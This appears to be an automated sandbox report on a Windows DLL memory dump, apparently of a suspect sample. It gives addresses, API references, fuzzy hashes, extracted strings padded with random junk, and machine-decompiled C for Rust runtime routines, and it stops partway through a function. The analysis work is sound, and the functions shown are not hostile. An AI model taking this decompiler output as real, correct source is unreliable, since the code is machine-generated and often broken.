0x6edbc607
0x6edbc60a
0x6edbc60e
0x6edbc617
0x6edbc61e
0x6edbc621
0x6edbc624
0x6edbc624
0x6edbc600
0x6edbc603
0x6edbc62b
0x6edbc639
0x6edbc644
0x6edbc64b
0x6edbc64f
0x6edbc658
0x6edbc65f
0x6edbc662
0x6edbc662
0x6edbc641
0x6edbc641
0x6edbc644
0x00000000
0x6edbc62d
0x6edbc62d
0x6edbc62d
0x6edbc636
0x6edbc636

APIs

TlsGetValue.KERNEL32(?), ref: 6EDBC53A
TlsSetValue.KERNEL32(?,00000000), ref: 6EDBC547
TlsGetValue.KERNEL32(?), ref: 6EDBC58A
TlsSetValue.KERNEL32(?,00000000), ref: 6EDBC597
TlsGetValue.KERNEL32(?), ref: 6EDBC5CA
TlsSetValue.KERNEL32(?,00000000), ref: 6EDBC5D7
TlsGetValue.KERNEL32(?), ref: 6EDBC60A
TlsSetValue.KERNEL32(?,00000000), ref: 6EDBC617
TlsGetValue.KERNEL32(?), ref: 6EDBC64B
TlsSetValue.KERNEL32(?,00000000), ref: 6EDBC658

Memory Dump Source

Source File: 00000002.00000002.521492942.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000002.00000002.521478875.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521511597.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521533964.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.521547494.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.521552848.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 343c28a124c456763390f490b65bba2f8db181e86f954e304d58e77a72d41f89
Instruction ID: 893b8e291c0c80bd734b7a8dde5fbed3d1e884691529271abdbe6f72ee702378
Opcode Fuzzy Hash: 343c28a124c456763390f490b65bba2f8db181e86f954e304d58e77a72d41f89
Instruction Fuzzy Hash: 92415BB214424EEFEB516FE59C51FAB3768BF12241F045024EE268E160F772DA21DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6EDC1DA0, Relevance: 12.5, APIs: 5, Strings: 2, Instructions: 212
fileCOMMON

Download Yara Rule

C-Code - Quality: 55%

			E6EDC1DA0(void* __ebx, struct _OVERLAPPED** __ecx, void* __edx, void* __edi, void* __ebp, signed char _a4, signed char* _a8) {
				char _v20;
				void* _v24;
				char _v44;
				long _v48;
				void* _v52;
				signed int _v56;
				char _v60;
				void* __esi;
				long _t57;
				void* _t58;
				long _t60;
				signed int _t61;
				long _t81;
				signed int _t86;
				signed int _t87;
				signed int _t88;
				signed int _t91;
				char _t93;
				void* _t96;
				void* _t97;
				signed int _t100;
				signed int _t101;
				struct _OVERLAPPED* _t102;
				signed int _t105;
				signed int* _t106;
				signed int _t110;
				signed char _t112;
				void* _t114;
				long _t118;
				void** _t119;
				void* _t120;
				long _t122;
				void* _t125;
				void* _t133;
				struct _OVERLAPPED** _t135;
				void* _t144;
				long _t152;
				signed char* _t155;
				DWORD* _t156;
				void* _t157;
				void** _t158;
				void** _t160;

				_push(__ebp);
				_push(__ebx);
				_push(__edi);
				_t158 = _t157 - 0x30;
				_t152 = _a4;
				_t135 = __ecx;
				if(_t152 == 0) {
					 *(__ecx + 4) = 0;
					goto L5;
				} else {
					_t96 = __edx;
					_t58 = GetStdHandle(0xfffffff4);
					if(_t58 == 0) {
						_t57 = 6;
						goto L7;
					} else {
						_t133 = _t58;
						if(_t58 != 0xffffffff) {
							_v48 = 0;
							_t60 = GetConsoleMode(_t133,  &_v48);
							__eflags = _t60;
							if(_t60 == 0) {
								__eflags = _t133;
								if(__eflags == 0) {
									goto L42;
								} else {
									_v48 = 0;
									_t81 = WriteFile(_t133, _t96, _t152,  &_v48, 0);
									__eflags = _t81;
									if(_t81 == 0) {
										_t57 = GetLastError();
										_t102 = 0;
										__eflags = 0;
										_t122 = 1;
									} else {
										_t102 = _v48;
										_t57 = 0;
										_t122 = 0;
									}
									 *_t135 = _t122;
									_t135[1] = _t102;
									_t135[2] = _t57;
									goto L9;
								}
							} else {
								_t57 = _a8[4] & 0x000000ff;
								__eflags = _t57;
								if(_t57 == 0) {
									__eflags = _t152 - 0x1000;
									_t84 =  <  ? _t152 : 0x1000;
									_push( <  ? _t152 : 0x1000);
									E6EDB3820( &_v60, _t96);
									_t158 =  &(_t158[1]);
									__eflags = _v60 - 1;
									if(_v60 != 1) {
										_t86 = _v56;
										_t97 = _v52;
										goto L28;
									} else {
										__eflags = _v56;
										if(_v56 == 0) {
											_t87 =  *_t96 & 0x000000ff;
											_t38 = _t87 + 0x6edfcd60; // 0x1010101
											_t105 =  *_t38 & 0x000000ff;
											__eflags = _t105 - 2;
											if(_t105 < 2) {
												L39:
												_t135[2] = 0x6edfe0bc;
												_t135[1] = 0x1502;
												goto L40;
											} else {
												__eflags = _t105 - _t152;
												if(_t105 <= _t152) {
													goto L39;
												} else {
													_t106 = _a8;
													 *_t106 = _t87;
													_t106[1] = 1;
													goto L38;
												}
											}
											goto L9;
										} else {
											_t88 = _v56;
											__eflags = _t88 - _t152;
											if(__eflags > 0) {
												_t100 = _t88;
												_t118 = _t152;
												_push(0x6edfe0f4);
												goto L45;
											} else {
												_t125 = _t96;
												_push(_t88);
												E6EDB3820( &_v48, _t125);
												_t158 =  &(_t158[1]);
												_t86 = E6EDC28E0(_t96,  &_v48, _t133, _t135);
												_t97 = _t125;
												L28:
												_push(_t97);
												_push(_t86);
												_t57 = E6EDC2620(_t97, _t135, _t133, _t133, _t135);
												_t158 =  &(_t158[2]);
												goto L9;
											}
										}
									}
								} else {
									__eflags = _t57 - 4;
									if(_t57 >= 4) {
										E6EDD72E0("Unexpected number of bytes for incomplete UTF-8 codepoint.C:eodllautblkklahmhgnetilzvvcslfjwakfzrpeciobxpylgwrokyyfkblnopnjvhlcoxjbvrndpaoezowltgjwguuqlcjtinialvpbtfcixalgwrcjcrthjdwukfjvq", 0x3a, 0x6edfe05c);
										_t158 =  &(_t158[1]);
										asm("ud2");
										L42:
										_t61 = E6EDD6E20(_t96,  &M6EDFD3AA, 0x23, _t133, _t135, __eflags, 0x6edfd454);
										_t158 =  &(_t158[1]);
										asm("ud2");
										goto L43;
									} else {
										_t110 =  *_t96;
										_t155 = _a8;
										__eflags = (_t110 & 0x000000c0) - 0x80;
										if((_t110 & 0x000000c0) != 0x80) {
											_a4 = 0;
											goto L24;
										} else {
											_t155[_t57] = _t110;
											_t112 = _a4 + 1;
											_a4 = _t112;
											_t57 =  *_t155 & 0x000000ff;
											_t96 =  *(_t57 + 0x6edfcd60) & 0x000000ff;
											__eflags = _t96 - _t112;
											_v24 = _t96;
											if(_t96 <= _t112) {
												_t61 = _t112 & 0x000000ff;
												__eflags = _t112 - 5;
												if(__eflags >= 0) {
													L43:
													_t100 = _t61;
													_t118 = 4;
													_push(0x6edfe0c4);
													L45:
													E6EDD6DB0(_t96, _t100, _t118, _t133, _t135, __eflags);
													_t160 =  &(_t158[1]);
													asm("ud2");
													goto L46;
												} else {
													_push(_t61);
													_t57 = E6EDB3820( &_v60, _t155);
													_t158 =  &(_t158[1]);
													__eflags = _v60 - 1;
													_a4 = 0;
													if(_v60 == 1) {
														L24:
														_t135[2] = 0x6edfe0bc;
														_t135[1] = 0x1502;
														goto L8;
													} else {
														_t114 = _v52;
														_t91 = _v56;
														__eflags = _t114 - _t96;
														 *_t158 = _t114;
														if(_t114 != _t96) {
															L46:
															_t101 =  &_v24;
															_t119 = _t160;
															_v48 = 0;
															_push(0x6edfe0d4);
															_push( &_v48);
															goto L48;
														} else {
															_t156 =  &_v48;
															_push(_t96);
															_push(_t91);
															E6EDC2620(_t96, _t156, _t133, _t133, _t135);
															_t160 =  &(_t158[2]);
															__eflags = _v48 - 1;
															if(_v48 != 1) {
																_t93 = _v44;
																 *_t160 = _t96;
																__eflags = _t93 - _t96;
																_v20 = _t93;
																if(_t93 != _t96) {
																	_t101 =  &_v20;
																	_t119 = _t160;
																	_v48 = 0;
																	_push(0x6edfe0e4);
																	_push(_t156);
																	L48:
																	E6EDD73F0(_t96, _t101, _t119, _t133);
																	asm("ud2");
																	L50();
																	_t120 = _t135;
																	__eflags = _t101 - 0x46a;
																	if(_t101 > 0x46a) {
																		__eflags = _t101 - 0x271c;
																		if(_t101 <= 0x271c) {
																			__eflags = _t101 - 0x1715;
																			if(_t101 > 0x1715) {
																				__eflags = _t101 - 0x1f4d;
																				if(_t101 > 0x1f4d) {
																					__eflags = _t101 - 0x1f4e;
																					if(_t101 == 0x1f4e) {
																						goto L93;
																					} else {
																						__eflags = _t101 - 0x2022;
																						if(_t101 == 0x2022) {
																							goto L93;
																						} else {
																							__eflags = _t101 - 0x25e9;
																							if(_t101 != 0x25e9) {
																								goto L106;
																							} else {
																								goto L93;
																							}
																						}
																					}
																				} else {
																					__eflags = _t101 - 0x1716;
																					if(_t101 == 0x1716) {
																						goto L93;
																					} else {
																						__eflags = _t101 - 0x1b64;
																						if(_t101 == 0x1b64) {
																							goto L93;
																						} else {
																							__eflags = _t101 - 0x1b80;
																							if(_t101 == 0x1b80) {
																								goto L93;
																							} else {
																								goto L106;
																							}
																						}
																					}
																				}
																			} else {
																				__eflags = _t101 - 0x4cf;
																				if(_t101 > 0x4cf) {
																					__eflags = _t101 - 0x4d0;
																					if(_t101 == 0x4d0) {
																						return 4;
																					} else {
																						__eflags = _t101 - 0x50f;
																						if(_t101 == 0x50f) {
																							return 0x1a;
																						} else {
																							__eflags = _t101 - 0x5b4;
																							if(_t101 == 0x5b4) {
																								goto L93;
																							} else {
																								goto L106;
																							}
																						}
																					}
																				} else {
																					__eflags = _t101 - 0x46b;
																					if(_t101 == 0x46b) {
																						return 0x1e;
																					} else {
																						__eflags = _t101 - 0x476;
																						if(_t101 == 0x476) {
																							return 0x20;
																						} else {
																							__eflags = _t101 - 0x4cf;
																							if(_t101 != 0x4cf) {
																								goto L106;
																							} else {
																								return 5;
																							}
																						}
																					}
																				}
																			}
																		} else {
																			_t144 = _t101 - 0x271d;
																			__eflags = _t144 - 0x34;
																			if(_t144 <= 0x34) {
																				goto __edx;
																			}
																			__eflags = _t101 - 0x3c2a - 2;
																			if(_t101 - 0x3c2a < 2) {
																				goto L93;
																			} else {
																				__eflags = _t101 - 0x35ed;
																				if(_t101 == 0x35ed) {
																					goto L93;
																				} else {
																					goto L106;
																				}
																			}
																		}
																	} else {
																		__eflags = _t101 - 0xb6;
																		if(_t101 > 0xb6) {
																			__eflags = _t101 - 0x10a;
																			if(_t101 <= 0x10a) {
																				__eflags = _t101 - 0xde;
																				if(_t101 <= 0xde) {
																					__eflags = _t101 - 0xb7;
																					if(_t101 == 0xb7) {
																						return 0xc;
																					} else {
																						__eflags = _t101 - 0xce;
																						if(_t101 != 0xce) {
																							goto L106;
																						} else {
																							return 0x21;
																						}
																					}
																				} else {
																					__eflags = _t101 - 0xdf;
																					if(_t101 == 0xdf) {
																						return 0x1b;
																					} else {
																						__eflags = _t101 - 0xe8;
																						if(_t101 == 0xe8) {
																							return 0xb;
																						} else {
																							__eflags = _t101 - 0x102;
																							if(_t101 == 0x102) {
																								goto L93;
																							} else {
																								goto L106;
																							}
																						}
																					}
																				}
																			} else {
																				__eflags = _t101 - 0x3e2;
																				if(_t101 > 0x3e2) {
																					__eflags = _t101 - 0x3e3;
																					if(_t101 == 0x3e3) {
																						goto L93;
																					} else {
																						__eflags = _t101 - 0x41d;
																						if(_t101 == 0x41d) {
																							goto L93;
																						} else {
																							__eflags = _t101 - 0x461;
																							if(_t101 == 0x461) {
																								goto L93;
																							} else {
																								goto L106;
																							}
																						}
																					}
																				} else {
																					__eflags = _t101 - 0x10b;
																					if(_t101 == 0x10b) {
																						return 0xe;
																					} else {
																						__eflags = _t101 - 0x150;
																						if(_t101 == 0x150) {
																							return 0xf;
																						} else {
																							__eflags = _t101 - 0x252;
																							if(_t101 == 0x252) {
																								L93:
																								return 0x16;
																							} else {
																								goto L106;
																							}
																						}
																					}
																				}
																			}
																		} else {
																			_t101 = _t101 + 0xfffffffe;
																			__eflags = _t101 - 0xa8;
																			if(_t101 <= 0xa8) {
																				_t120 = _t120 +  *((intOrPtr*)(0x6edc22a8 + _t101 * 4));
																				goto __edx;
																			}
																			L106:
																			return 0x28;
																		}
																	}
																} else {
																	L38:
																	_t57 = 0;
																	_t135[1] = 1;
																	 *_t135 = 0;
																	goto L9;
																}
															} else {
																asm("movsd xmm0, [esp+0x14]");
																asm("movsd [esi+0x4], xmm0");
																L40:
																_t57 = 1;
																 *_t135 = 1;
																goto L9;
															}
														}
													}
												}
											} else {
												_t135[1] = 1;
												L5:
												 *_t135 = 0;
												goto L9;
											}
										}
									}
								}
							}
						} else {
							_t57 = GetLastError();
							L7:
							_t135[1] = 0;
							_t135[2] = _t57;
							L8:
							 *_t135 = 1;
							L9:
							return _t57;
						}
					}
				}
			}

0x6edc1da0
0x6edc1da1
0x6edc1da2
0x6edc1da4
0x6edc1da7
0x6edc1dab
0x6edc1daf
0x6edc1dce
0x00000000
0x6edc1db1
0x6edc1db1
0x6edc1db5
0x6edc1dbd
0x6edc1ddd
0x00000000
0x6edc1dbf
0x6edc1dbf
0x6edc1dc4
0x6edc1dfe
0x6edc1e08
0x6edc1e0e
0x6edc1e10
0x6edc1e69
0x6edc1e6b
0x00000000
0x6edc1e71
0x6edc1e71
0x6edc1e83
0x6edc1e89
0x6edc1e8b
0x6edc1f05
0x6edc1f0b
0x6edc1f0b
0x6edc1f0d
0x6edc1e8d
0x6edc1e8d
0x6edc1e91
0x6edc1e93
0x6edc1e93
0x6edc1f12
0x6edc1f14
0x6edc1f17
0x00000000
0x6edc1f17
0x6edc1e12
0x6edc1e16
0x6edc1e1a
0x6edc1e1c
0x6edc1e97
0x6edc1ea8
0x6edc1eab
0x6edc1eac
0x6edc1eb1
0x6edc1eb4
0x6edc1eb9
0x6edc1f1f
0x6edc1f23
0x00000000
0x6edc1ebb
0x6edc1ebb
0x6edc1ec0
0x6edc1f99
0x6edc1f9c
0x6edc1f9c
0x6edc1fa3
0x6edc1fa6
0x6edc1fdb
0x6edc1fdb
0x6edc1fe2
0x00000000
0x6edc1fa8
0x6edc1fa8
0x6edc1faa
0x00000000
0x6edc1fac
0x6edc1fac
0x6edc1fb0
0x6edc1fb2
0x00000000
0x6edc1fb2
0x6edc1faa
0x00000000
0x6edc1ec6
0x6edc1ec6
0x6edc1eca
0x6edc1ecc
0x6edc2035
0x6edc2037
0x6edc2039
0x00000000
0x6edc1ed2
0x6edc1ed6
0x6edc1eda
0x6edc1edb
0x6edc1ee0
0x6edc1ee5
0x6edc1eea
0x6edc1f27
0x6edc1f2b
0x6edc1f2c
0x6edc1f2d
0x6edc1f32
0x00000000
0x6edc1f32
0x6edc1ecc
0x6edc1ec0
0x6edc1e1e
0x6edc1e1e
0x6edc1e20
0x6edc2004
0x6edc2009
0x6edc200c
0x6edc200e
0x6edc201d
0x6edc2022
0x6edc2025
0x00000000
0x6edc1e26
0x6edc1e26
0x6edc1e28
0x6edc1e31
0x6edc1e34
0x6edc1eee
0x00000000
0x6edc1e3a
0x6edc1e3a
0x6edc1e41
0x6edc1e43
0x6edc1e46
0x6edc1e4a
0x6edc1e51
0x6edc1e53
0x6edc1e57
0x6edc1f3a
0x6edc1f3d
0x6edc1f40
0x6edc2027
0x6edc2027
0x6edc2029
0x6edc202e
0x6edc203e
0x6edc203e
0x6edc2043
0x6edc2046
0x00000000
0x6edc1f46
0x6edc1f4c
0x6edc1f4d
0x6edc1f52
0x6edc1f55
0x6edc1f5a
0x6edc1f5e
0x6edc1ef2
0x6edc1ef2
0x6edc1ef9
0x00000000
0x6edc1f60
0x6edc1f60
0x6edc1f64
0x6edc1f68
0x6edc1f6a
0x6edc1f6d
0x6edc2048
0x6edc2048
0x6edc204c
0x6edc204e
0x6edc2056
0x6edc205f
0x00000000
0x6edc1f73
0x6edc1f73
0x6edc1f7b
0x6edc1f7c
0x6edc1f7d
0x6edc1f82
0x6edc1f85
0x6edc1f8a
0x6edc1fb8
0x6edc1fbc
0x6edc1fbf
0x6edc1fc1
0x6edc1fc5
0x6edc2062
0x6edc2066
0x6edc2068
0x6edc2070
0x6edc2075
0x6edc2076
0x6edc2076
0x6edc207e
0x6edc2081
0x6edc2086
0x6edc2089
0x6edc208f
0x6edc20b5
0x6edc20bb
0x6edc20d9
0x6edc20df
0x6edc2152
0x6edc2158
0x6edc220e
0x6edc2214
0x00000000
0x6edc2216
0x6edc2216
0x6edc221c
0x00000000
0x6edc221e
0x6edc221e
0x6edc2224
0x00000000
0x00000000
0x00000000
0x00000000
0x6edc2224
0x6edc221c
0x6edc215e
0x6edc215e
0x6edc2164
0x00000000
0x6edc216a
0x6edc216a
0x6edc2170
0x00000000
0x6edc2176
0x6edc2176
0x6edc217c
0x00000000
0x6edc2182
0x00000000
0x6edc2182
0x6edc217c
0x6edc2170
0x6edc2164
0x6edc20e1
0x6edc20e1
0x6edc20e7
0x6edc21d0
0x6edc21d6
0x6edc2251
0x6edc21d8
0x6edc21d8
0x6edc21de
0x6edc22a1
0x6edc21e4
0x6edc21e4
0x6edc21ea
0x00000000
0x6edc21ec
0x00000000
0x6edc21ec
0x6edc21ea
0x6edc21de
0x6edc20ed
0x6edc20ed
0x6edc20f3
0x6edc228d
0x6edc20f9
0x6edc20f9
0x6edc20ff
0x6edc2291
0x6edc2105
0x6edc2105
0x6edc210b
0x00000000
0x6edc2111
0x6edc2114
0x6edc2114
0x6edc210b
0x6edc20ff
0x6edc20f3
0x6edc20e7
0x6edc20bd
0x6edc20bd
0x6edc20c3
0x6edc20c6
0x6edc20d3
0x6edc20d3
0x6edc21be
0x6edc21c1
0x00000000
0x6edc21c3
0x6edc21c3
0x6edc21c9
0x00000000
0x6edc21cb
0x00000000
0x6edc21cb
0x6edc21c9
0x6edc21c1
0x6edc2091
0x6edc2091
0x6edc2097
0x6edc2115
0x6edc211b
0x6edc2187
0x6edc218d
0x6edc2232
0x6edc2238
0x6edc2249
0x6edc223a
0x6edc223a
0x6edc2240
0x00000000
0x6edc2242
0x6edc2245
0x6edc2245
0x6edc2240
0x6edc2193
0x6edc2193
0x6edc2199
0x6edc229d
0x6edc219f
0x6edc219f
0x6edc21a5
0x6edc224d
0x6edc21ab
0x6edc21ab
0x6edc21b1
0x00000000
0x6edc21b3
0x00000000
0x6edc21b3
0x6edc21b1
0x6edc21a5
0x6edc2199
0x6edc211d
0x6edc211d
0x6edc2123
0x6edc21f1
0x6edc21f7
0x00000000
0x6edc21f9
0x6edc21f9
0x6edc21ff
0x00000000
0x6edc2201
0x6edc2201
0x6edc2207
0x00000000
0x6edc2209
0x00000000
0x6edc2209
0x6edc2207
0x6edc21ff
0x6edc2129
0x6edc2129
0x6edc212f
0x6edc2295
0x6edc2135
0x6edc2135
0x6edc213b
0x6edc2299
0x6edc2141
0x6edc2141
0x6edc2147
0x6edc2226
0x6edc2229
0x6edc214d
0x00000000
0x6edc214d
0x6edc2147
0x6edc213b
0x6edc212f
0x6edc2123
0x6edc2099
0x6edc2099
0x6edc209c
0x6edc20a2
0x6edc20a8
0x6edc20af
0x6edc20af
0x6edc22a2
0x6edc22a5
0x6edc22a5
0x6edc2097
0x6edc1fcb
0x6edc1fcb
0x6edc1fcb
0x6edc1fcd
0x6edc1fd4
0x00000000
0x6edc1fd4
0x6edc1f8c
0x6edc1f8c
0x6edc1f92
0x6edc1fe9
0x6edc1fe9
0x6edc1fee
0x00000000
0x6edc1fee
0x6edc1f8a
0x6edc1f6d
0x6edc1f5e
0x6edc1e5d
0x6edc1e5d
0x6edc1dd5
0x6edc1dd5
0x00000000
0x6edc1dd5
0x6edc1e57
0x6edc1e34
0x6edc1e20
0x6edc1e1c
0x6edc1dc6
0x6edc1dc6
0x6edc1de2
0x6edc1de2
0x6edc1de9
0x6edc1dec
0x6edc1dec
0x6edc1df2
0x6edc1df9
0x6edc1df9
0x6edc1dc4
0x6edc1dbd

APIs

GetStdHandle.KERNEL32(000000F4,?,?,?,?,?,?,?,?,?,6EDC1C2E,?), ref: 6EDC1DB5
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,6EDC1C2E,?), ref: 6EDC1DC6
GetConsoleMode.KERNEL32(00000000,?), ref: 6EDC1E08
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 6EDC1E83
GetLastError.KERNEL32(?,?,?,00000000), ref: 6EDC1F05

Strings

assertion failed: !handle.is_null()C:wzsrrzyhpokwddixmxfulwzhcndebeithwkkhwbuyssisqxbeobnryngrerqutlqsjvizxvibhexzqwhpywnaymoprangqwwlydycgacflwbjqxhaclrecozjqfmkoreeed, xrefs: 6EDC200E
Unexpected number of bytes for incomplete UTF-8 codepoint.C:eodllautblkklahmhgnetilzvvcslfjwakfzrpeciobxpylgwrokyyfkblnopnjvhlcoxjbvrndpaoezowltgjwguuqlcjtinialvpbtfcixalgwrcjcrthjdwukfjvq, xrefs: 6EDC1FF5

Memory Dump Source

Source File: 00000002.00000002.521492942.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000002.00000002.521478875.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521511597.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521533964.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.521547494.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.521552848.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast$ConsoleFileHandleModeWrite
String ID: Unexpected number of bytes for incomplete UTF-8 codepoint.C:eodllautblkklahmhgnetilzvvcslfjwakfzrpeciobxpylgwrokyyfkblnopnjvhlcoxjbvrndpaoezowltgjwguuqlcjtinialvpbtfcixalgwrcjcrthjdwukfjvq$assertion failed: !handle.is_null()C:wzsrrzyhpokwddixmxfulwzhcndebeithwkkhwbuyssisqxbeobnryngrerqutlqsjvizxvibhexzqwhpywnaymoprangqwwlydycgacflwbjqxhaclrecozjqfmkoreeed
API String ID: 4172320683-607870617
Opcode ID: 0e01b8559cb0b09ba4785780c68fb9e6faf0845c3e9e3ade00816ad39fd20687
Instruction ID: 431b499ba03f22d93ab0c3a861e1ff9d8be90c12eb46e8eba0505074d6a00ffc
Opcode Fuzzy Hash: 0e01b8559cb0b09ba4785780c68fb9e6faf0845c3e9e3ade00816ad39fd20687
Instruction Fuzzy Hash: BD71ADB1608755DFD7108F99C85076A7BF9AB86B88F10882DE4D68B380D731D94DCB23

Uniqueness

Uniqueness Score: -1.00%

Function 6EDBC690, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 95
memoryCOMMON

Download Yara Rule

C-Code - Quality: 45%

			E6EDBC690(void* __ebx, void* __edi, void* __esi, void* _a8) {
				long _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				signed int _v36;
				char _v40;
				long _v48;
				void* __ebp;
				void* _t22;
				void* _t29;
				void* _t30;
				signed int _t43;
				signed int _t47;
				signed int _t50;
				void* _t54;

				_t32 = __ebx;
				_v32 = _t54 - 0x20;
				_v20 = 0xffffffff;
				_v24 = E6EDC3B40;
				_v28 =  *[fs:0x0];
				 *[fs:0x0] =  &_v28;
				_v48 = 0;
				__imp__AcquireSRWLockExclusive(0x6ee0ada8, __esi, __edi, __ebx);
				_t47 =  *0x6ee0a038; // 0x1
				_t50 =  *0x6ee0a03c; // 0x0
				_v40 = 0x6ee0ada8;
				_t43 = _t47 & _t50;
				if(_t43 == 0xffffffff) {
					L8:
					_v36 = _t43;
					__imp__ReleaseSRWLockExclusive(0x6ee0ada8);
					_v20 = 0;
					_t22 = E6EDD72E0("failed to generate unique thread ID: bitspace exhausted", 0x37, 0x6edfd270);
					goto L10;
				} else {
					 *0x6ee0a038 = _t47 + 1;
					asm("adc ecx, 0x0");
					 *0x6ee0a03c = _t50;
					if((_t47 | _t50) == 0) {
						_v36 = _t43;
						_v20 = 0;
						_t22 = E6EDD6E20(__ebx, "called `Option::unwrap()` on a `None` value", 0x2b, _t47, _t50, __eflags, 0x6edfd280);
						L10:
						asm("ud2");
						__eflags = _v36 - 0xffffffff;
						if(_v36 != 0xffffffff) {
							E6EDBC870(_t22,  &_v40);
						}
						return E6EDBC850( &_v48);
					} else {
						__imp__ReleaseSRWLockExclusive(0x6ee0ada8);
						_t29 =  *0x6ee0adc8; // 0x2ed0000
						if(_t29 != 0) {
							L5:
							_t30 = HeapAlloc(_t29, 0, 0x20);
							if(_t30 == 0) {
								goto L7;
							} else {
								 *(_t30 + 8) = _t47;
								 *(_t30 + 0xc) = _t50;
								 *(_t30 + 0x10) = 0;
								 *((char*)(_t30 + 0x18)) = 0;
								 *_t30 = 1;
								 *(_t30 + 4) = 1;
								 *[fs:0x0] = _v28;
								return _t30;
							}
						} else {
							_t29 = GetProcessHeap();
							if(_t29 == 0) {
								L7:
								_t43 = 8;
								E6EDD6C30(_t32, 0x20, 8, _t47, _t50, __eflags);
								asm("ud2");
								goto L8;
							} else {
								 *0x6ee0adc8 = _t29;
								goto L5;
							}
						}
					}
				}
			}

0x6edbc690
0x6edbc699
0x6edbc69c
0x6edbc6a3
0x6edbc6b4
0x6edbc6b7
0x6edbc6bd
0x6edbc6c9
0x6edbc6cf
0x6edbc6d5
0x6edbc6db
0x6edbc6e4
0x6edbc6e9
0x6edbc77f
0x6edbc77f
0x6edbc787
0x6edbc78d
0x6edbc7a3
0x00000000
0x6edbc6ef
0x6edbc6f6
0x6edbc6fd
0x6edbc702
0x6edbc708
0x6edbc7ad
0x6edbc7b0
0x6edbc7c6
0x6edbc7ce
0x6edbc7ce
0x6edbc7d7
0x6edbc7db
0x6edbc7e0
0x6edbc7e0
0x6edbc7f1
0x6edbc70e
0x6edbc713
0x6edbc719
0x6edbc720
0x6edbc730
0x6edbc735
0x6edbc73c
0x00000000
0x6edbc73e
0x6edbc73e
0x6edbc741
0x6edbc744
0x6edbc74b
0x6edbc74f
0x6edbc755
0x6edbc75f
0x6edbc76d
0x6edbc76d
0x6edbc722
0x6edbc722
0x6edbc729
0x6edbc76e
0x6edbc773
0x6edbc778
0x6edbc77d
0x00000000
0x6edbc72b
0x6edbc72b
0x00000000
0x6edbc72b
0x6edbc729
0x6edbc720
0x6edbc708

APIs

AcquireSRWLockExclusive.KERNEL32(6EE0ADA8), ref: 6EDBC6C9
ReleaseSRWLockExclusive.KERNEL32(6EE0ADA8), ref: 6EDBC713
GetProcessHeap.KERNEL32 ref: 6EDBC722
HeapAlloc.KERNEL32(02ED0000,00000000,00000020), ref: 6EDBC735
ReleaseSRWLockExclusive.KERNEL32(6EE0ADA8), ref: 6EDBC787

Strings

called `Option::unwrap()` on a `None` value, xrefs: 6EDBC7B7
failed to generate unique thread ID: bitspace exhausted, xrefs: 6EDBC794

Memory Dump Source

Source File: 00000002.00000002.521492942.000000006EDB1000.00000020.00020000.sdmp, Offset: 6EDB0000, based on PE: true

Associated: 00000002.00000002.521478875.000000006EDB0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521511597.000000006EDD8000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.521533964.000000006EE0A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.521547494.000000006EE0C000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.521552848.000000006EE0D000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$HeapRelease$AcquireAllocProcess
String ID: called `Option::unwrap()` on a `None` value$failed to generate unique thread ID: bitspace exhausted
API String ID: 1780889587-1657987152
Opcode ID: 25886eca4fb709fea1b61202146a37562dd6190f350ad4bca63086abda4cd585
Instruction ID: 6314aa60faa13239fef6f2f5afe6dc609e585630793d124544c11e0b9534ebb8
Opcode Fuzzy Hash: 25886eca4fb709fea1b61202146a37562dd6190f350ad4bca63086abda4cd585
Instruction Fuzzy Hash: D131B6B5E40609CBEB14CFD4C914BAEBBB9FF85718F204129D8196B380E7759509CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6EDB10A0, Relevance: 12.1, APIs: 6, Strings: 2, Instructions: 141
memoryCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E6EDB10A0(long __ebx, intOrPtr __edi, intOrPtr __esi, intOrPtr _a4, char _a8, intOrPtr _a16) {
				long _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				void* _v36;
				void* _v40;
				long _v44;
				long _v48;
				void* _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				long _v64;
				void* __ebp;
				void* _t45;
				void* _t46;
				void* _t50;
				void* _t51;
				intOrPtr _t54;
				long _t62;
				void* _t71;
				void* _t81;
				void* _t84;
				intOrPtr _t85;

				_t78 = __esi;
				_t76 = __edi;
				_t59 = __ebx;
				_push(__ebx);
				_push(__edi);
				_push(__esi);
				_t85 = _t84 - 0x30;
				_v32 = _t85;
				_v20 = 0xffffffff;
				_v24 = E6EDC3B00;
				_v28 =  *[fs:0x0];
				 *[fs:0x0] =  &_v28;
				_t45 =  *0x6ee0adc8; // 0x2ed0000
				if(_t45 != 0) {
					L3:
					_t46 = HeapAlloc(_t45, 0, 0xf);
					if(_t46 == 0) {
						goto L18;
					} else {
						asm("movsd xmm0, [0x6edfb227]");
						asm("movsd xmm1, [0x6edfb220]");
						_v40 = _t46;
						asm("movsd [eax+0x7], xmm0");
						asm("movsd [eax], xmm1");
						_t50 =  *0x6ee0adc8; // 0x2ed0000
						if(_t50 != 0) {
							L7:
							_t51 = HeapAlloc(_t50, 0, 0x10);
							if(_t51 == 0) {
								goto L19;
							} else {
								asm("movsd xmm0, [0x6edfb237]");
